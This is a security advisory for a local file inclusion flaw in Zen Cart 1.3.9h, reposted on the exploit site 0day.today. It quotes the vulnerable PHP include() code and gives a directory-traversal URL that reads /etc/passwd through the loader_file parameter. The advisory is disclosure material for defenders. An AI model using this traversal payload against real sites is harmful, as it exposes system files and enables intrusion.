0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Zen Cart 1.3.9h Local File Inclusion Vulnerability
[==================================================
Zen Cart 1.3.9h Local File Inclusion Vulnerability
==================================================
Name Zen Cart
Vendor http://www.zen-cart.com
Versions Affected 1.3.9h
Author Salvatore Fresta aka Drosophila
Website http://www.salvatorefresta.net
Contact salvatorefresta [at] gmail [dot] com
Date 2010-11-03
X. INDEX
I. ABOUT THE APPLICATION
II. DESCRIPTION
III. ANALYSIS
IV. SAMPLE CODE
V. FIX
I. ABOUT THE APPLICATION
________________________
Zen Cart truly is the art of e-commerce; free,
user-friendly, open source shopping cart software. The
ecommerce web site design program is being developed by a
group of like-minded shop owners, programmers, designers,
and consultants that think ecommerce web design could be
and should be done differently.
II. DESCRIPTION
_______________
A parameter is not properly sanitised before being used
by the include() PHP's function.
III. ANALYSIS
_____________
Summary:
A) Local File Inclusion
A) Local File Inclusion
_______________________
Input passed to the "loader_file" parameter in
includes/initsystem.php is not properly verified before
being used to include files. This can be exploited to
include arbitrary files from local resources via
directory traversal attacks.
Successful exploitation requires that register_globals is
set to On.
The following is the vulnerable code:
<?php
$base_dir = DIR_WS_INCLUDES . 'auto_loaders/';
if (file_exists(DIR_WS_INCLUDES . 'auto_loaders/overrides/' . $loader_file)) {
$base_dir = DIR_WS_INCLUDES . 'auto_loaders/overrides/';
}
include($base_dir . $loader_file);
IV. SAMPLE CODE
_______________
A) Local File Inclusion
http://site/path/includes/initsystem.php?loader_file=../../../../../../../../etc/passwd
V. FIX
______
No fix.
# 0day.today [2024-11-15] #